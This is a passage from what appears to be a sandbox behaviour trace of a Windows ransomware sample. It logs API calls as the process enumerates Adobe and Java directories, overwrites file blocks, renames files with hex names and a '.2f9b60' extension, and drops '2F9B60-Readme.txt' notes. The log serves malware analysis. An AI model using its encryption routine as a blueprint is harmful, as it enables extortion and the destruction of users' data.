SourceString="35125e0067826b97606de3a868ffc59743784752f7c7c2143479338c88f1468a4a17cea041e2a56a", AllocateDestinationString=1 | out: DestinationString="35125e0067826b97606de3a868ffc59743784752f7c7c2143479338c88f1468a4a17cea041e2a56a") returned 0x0 [0203.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x43131900 [0203.850] wcscat (in: _Dest=0x43131850, _Source="35125e0067826b97606d" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\35125e0067826b97606d") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\35125e0067826b97606d" [0203.850] wcscat (in: _Dest=0x43131850, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\35125e0067826b97606d.2f9b60") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\35125e0067826b97606d.2f9b60" [0203.850] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\35125e0067826b97606d.2f9b60", NtPathName=0x2f19fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\35125e0067826b97606d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x4310bde0 [0207.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310bde0) returned 1 [0207.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432250b0) returned 1 [0207.804] NtQueryInformationFile (in: FileHandle=0x1654, IoStatusBlock=0x2f19fd98, FileInformation=0x2f19fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f19fd98, FileInformation=0x2f19fda8) returned 0x0 [0207.804] NtSetInformationFile (FileHandle=0x1654, IoStatusBlock=0x2f19fd98, FileInformation=0x2f19fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43131850) returned 1 [0209.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43131900) returned 1 [0209.660] FlushFileBuffers (hFile=0x1654) returned 1 [0213.112] CloseHandle (hObject=0x1654) returned 1 [0216.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205d2d0 [0216.105] wcscpy (in: _Dest=0x4205d2d0, _Source="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\" [0216.105] wcscat (in: _Dest=0x4205d2d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\2F9B60-Readme.txt" [0216.105] GetFileAttributesW (lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\2f9b60-readme.txt")) returned 0xffffffff [0216.105] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1134 [0219.554] WriteFile (in: hFile=0x1134, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2f19fc50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2f19fc50*=0xba9, lpOverlapped=0x0) returned 1 [0222.778] CloseHandle (hObject=0x1134) returned 1 [0224.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d2d0) returned 1 [0224.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508db0) returned 1 [0224.067] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x0, dwReserved1=0x0, cFileName="directories.acrodata", cAlternateFileName="DIRECT~1.ACR")) returned 0 [0224.067] FindClose (in: hFindFile=0x1b858d90 | out: hFindFile=0x1b858d90) returned 1 [0224.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce562f0) returned 1 [0224.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 [0224.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869e40) returned 1 Thread: id = 1938 os_tid = 0x1110 [0134.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1ced91d0 [0134.811] wcscpy (in: _Dest=0x1ced91d0, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" [0134.812] wcscat (in: _Dest=0x1ced91d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\" [0134.812] wcscat (in: _Dest=0x1ced91d0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\*" [0134.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce55e10 [0134.812] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\*", lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858610 [0134.834] wcscmp (_String1=".", _String2=".") returned 0 [0134.834] FindNextFileW (in: hFindFile=0x1b858610, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.834] wcscmp (_String1="..", _String2=".") returned 1 [0134.834] wcscmp (_String1="..", _String2="..") returned 0 [0134.834] FindNextFileW (in: hFindFile=0x1b858610, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0x76eb12e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76ed7440, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="classes.jsa", cAlternateFileName="")) returned 1 [0134.834] wcscmp (_String1="classes.jsa", _String2=".") returned 1 [0134.834] wcscmp (_String1="classes.jsa", _String2="..") returned 1 [0134.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d9f0 [0134.835] wcscpy (in: _Dest=0x1b79d9f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" [0134.835] wcscat (in: _Dest=0x1b79d9f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\" [0134.835] wcscat (in: _Dest=0x1b79d9f0, _Source="classes.jsa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\classes.jsa") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\classes.jsa" [0151.548] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\classes.jsa" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\classes.jsa")) returned 0x21 [0151.548] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\classes.jsa", dwFileAttributes=0x20) [0203.090] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\classes.jsa" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\classes.jsa"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13a0 [0203.091] GetFileSizeEx (in: hFile=0x13a0, lpFileSize=0x2f26fce0 | out: lpFileSize=0x2f26fce0*=13762560) returned 1 [0203.091] SetFilePointerEx (in: hFile=0x13a0, liDistanceToMove=0xd1fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.091] ReadFile (in: hFile=0x13a0, lpBuffer=0x2f26fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f26fca8, lpOverlapped=0x0 | out: lpBuffer=0x2f26fc60*, lpNumberOfBytesRead=0x2f26fca8*=0x4, lpOverlapped=0x0) returned 1 [0203.092] SetFilePointerEx (in: hFile=0x13a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0dd0 [0203.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2e40 [0203.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0e90 [0203.093] NtQuerySystemTime (in: CurrentTime=0x2f26fba0 | out: CurrentTime=0x2f26fba0*=132462178081894000) returned 0x0 [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x18ae321d [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x3493ab15 [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x703f6bd [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x109ba7c2 [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x60f48f9f [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x5ff18abe [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x53626d08 [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x74848eb5 [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x641902ce [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x2ecde688 [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x4724263d [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x101edd11 [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x35d3ebad [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x56481491 [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x5f78c62f [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x1ec943f2 [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x54d010a4 [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x239f4f32 [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x79173f1c [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x436b44ac [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x2fa8f526 [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x40d82d93 [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0xf809da2 [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x77c4a236 [0203.093] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x5577a665 [0203.094] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x333a0c5a [0203.094] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x6ba6e875 [0203.094] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x37196d92 [0203.094] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x55f8a2b9 [0203.094] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x71d50e99 [0203.094] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x57533a29 [0203.094] RtlRandomEx (in: Seed=0x2f26fb90 | out: Seed=0x2f26fb90) returned 0x68f4ea5d [0203.101] SetFilePointerEx (in: hFile=0x13a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.102] ReadFile (in: hFile=0x13a0, lpBuffer=0x42073100, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f26fc00, lpOverlapped=0x0 | out: lpBuffer=0x42073100*, lpNumberOfBytesRead=0x2f26fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0203.189] SetFilePointerEx (in: hFile=0x13a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62230 [0203.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b3b0 [0203.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3f80 [0203.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3f80) returned 1 [0203.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42490190 [0203.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3f80 [0203.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2bd0 [0203.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2bd0) returned 1 [0203.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b3b0) returned 1 [0203.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62230) returned 1 [0203.195] WriteFile (in: hFile=0x13a0, lpBuffer=0x42490190*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f26fc00, lpOverlapped=0x0 | out: lpBuffer=0x42490190*, lpNumberOfBytesWritten=0x2f26fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0206.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42490190) returned 1 [0206.388] SetFilePointerEx (in: hFile=0x13a0, liDistanceToMove=0x690000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.388] ReadFile (in: hFile=0x13a0, lpBuffer=0x42073100, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f26fc00, lpOverlapped=0x0 | out: lpBuffer=0x42073100*, lpNumberOfBytesRead=0x2f26fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0206.391] SetFilePointerEx (in: hFile=0x13a0, liDistanceToMove=0x690000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce621e0 [0206.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b330 [0206.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31160 [0206.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31160) returned 1 [0206.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42490190 [0206.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31160 [0206.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31250 [0206.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31250) returned 1 [0206.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b330) returned 1 [0206.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce621e0) returned 1 [0206.396] WriteFile (in: hFile=0x13a0, lpBuffer=0x42490190*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f26fc00, lpOverlapped=0x0 | out: lpBuffer=0x42490190*, lpNumberOfBytesWritten=0x2f26fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0215.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42490190) returned 1 [0215.099] SetFilePointerEx (in: hFile=0x13a0, liDistanceToMove=0xd1c400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.099] ReadFile (in: hFile=0x13a0, lpBuffer=0x42073100, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f26fc00, lpOverlapped=0x0 | out: lpBuffer=0x42073100*, lpNumberOfBytesRead=0x2f26fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0215.100] SetFilePointerEx (in: hFile=0x13a0, liDistanceToMove=0xd1c400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62370 [0215.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba9e0 [0215.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf90 [0215.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf90) returned 1 [0215.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42490190 [0215.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf90 [0215.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdfc0 [0215.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdfc0) returned 1 [0215.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0215.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62370) returned 1 [0215.104] WriteFile (in: hFile=0x13a0, lpBuffer=0x42490190*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f26fc00, lpOverlapped=0x0 | out: lpBuffer=0x42490190*, lpNumberOfBytesWritten=0x2f26fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0231.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42490190) returned 1 [0231.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4310f360 [0231.008] SetFilePointerEx (in: hFile=0x13a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0231.008] WriteFile (in: hFile=0x13a0, lpBuffer=0x423a9460*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x2f26fcb0, lpOverlapped=0x0 | out: lpBuffer=0x423a9460*, lpNumberOfBytesWritten=0x2f26fcb0*=0x148, lpOverlapped=0x0) returned 1 [0234.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61c40 [0234.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869cc0 [0234.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab580 [0234.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab580) returned 1 [0234.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0234.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab580 [0234.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267260 [0234.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267260) returned 1 [0234.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869cc0) returned 1 [0234.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61c40) returned 1 [0234.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431adfe0 [0234.879] sprintf (in: _Dest=0x431adfe0, _Format="%c%c" | out: _Dest="21") returned 2 [0234.879] sprintf (in: _Dest=0x431adfe2, _Format="%c%c" | out: _Dest="a5") returned 2 [0234.879] sprintf (in: _Dest=0x431adfe4, _Format="%c%c" | out: _Dest="38") returned 2 [0234.879] sprintf (in: _Dest=0x431adfe6, _Format="%c%c" | out: _Dest="74") returned 2 [0234.879] sprintf (in: _Dest=0x431adfe8, _Format="%c%c" | out: _Dest="19") returned 2 [0234.879] sprintf (in: _Dest=0x431adfea, _Format="%c%c" | out: _Dest="b7") returned 2 [0234.879] sprintf (in: _Dest=0x431adfec, _Format="%c%c" | out: _Dest="ee") returned 2 [0234.879] sprintf (in: _Dest=0x431adfee, _Format="%c%c" | out: _Dest="0e") returned 2 [0234.879] sprintf (in: _Dest=0x431adff0, _Format="%c%c" | out: _Dest="e4") returned 2 [0234.879] sprintf (in: _Dest=0x431adff2, _Format="%c%c" | out: _Dest="97") returned 2 [0234.879] sprintf (in: _Dest=0x431adff4, _Format="%c%c" | out: _Dest="f4") returned 2 [0234.879] sprintf (in: _Dest=0x431adff6, _Format="%c%c" | out: _Dest="ba") returned 2 [0234.879] sprintf (in: _Dest=0x431adff8, _Format="%c%c" | out: _Dest="cf") returned 2 [0234.879] sprintf (in: _Dest=0x431adffa, _Format="%c%c" | out: _Dest="08") returned 2 [0234.879] sprintf (in: _Dest=0x431adffc, _Format="%c%c" | out: _Dest="03") returned 2 [0234.879] sprintf (in: _Dest=0x431adffe, _Format="%c%c" | out: _Dest="cb") returned 2 [0234.879] sprintf (in: _Dest=0x431ae000, _Format="%c%c" | out: _Dest="ad") returned 2 [0234.879] sprintf (in: _Dest=0x431ae002, _Format="%c%c" | out: _Dest="6e") returned 2 [0234.879] sprintf (in: _Dest=0x431ae004, _Format="%c%c" | out: _Dest="92") returned 2 [0234.880] sprintf (in: _Dest=0x431ae006, _Format="%c%c" | out: _Dest="06") returned 2 [0234.880] sprintf (in: _Dest=0x431ae008, _Format="%c%c" | out: _Dest="7d") returned 2 [0234.880] sprintf (in: _Dest=0x431ae00a, _Format="%c%c" | out: _Dest="09") returned 2 [0234.880] RtlInitAnsiString (in: DestinationString=0x2f26fd28, SourceString="21a5387419b7ee0ee497f4bacf0803cbad6e92067d09" | out: DestinationString="21a5387419b7ee0ee497f4bacf0803cbad6e92067d09") [0234.880] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f26fcf8, SourceString="21a5387419b7ee0ee497f4bacf0803cbad6e92067d09", AllocateDestinationString=1 | out: DestinationString="21a5387419b7ee0ee497f4bacf0803cbad6e92067d09") returned 0x0 [0234.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1cdded40 [0234.880] wcscat (in: _Dest=0x43107800, _Source="21a5387419b" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\21a5387419b") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\21a5387419b" [0234.881] wcscat (in: _Dest=0x43107800, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\21a5387419b.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\21a5387419b.2f9b60" [0234.881] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\21a5387419b.2f9b60", NtPathName=0x2f26fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\21a5387419b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0234.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce16d40 [0236.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16d40) returned 1 [0236.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4307e6d0) returned 1 [0236.485] NtQueryInformationFile (in: FileHandle=0x13a0, IoStatusBlock=0x2f26fd38, FileInformation=0x2f26fd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f26fd38, FileInformation=0x2f26fd48) returned 0x0 [0236.485] NtSetInformationFile (FileHandle=0x13a0, IoStatusBlock=0x2f26fd38, FileInformation=0x2f26fd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0236.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43107800) returned 1 [0236.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdded40) returned 1 [0236.918] FlushFileBuffers (hFile=0x13a0) returned 1 [0238.189] CloseHandle (hObject=0x13a0) returned 1 [0240.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202ae5c0 [0240.515] wcscpy (in: _Dest=0x202ae5c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\" [0240.515] wcscat (in: _Dest=0x202ae5c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\2F9B60-Readme.txt" [0240.515] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\2f9b60-readme.txt")) returned 0xffffffff [0240.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, 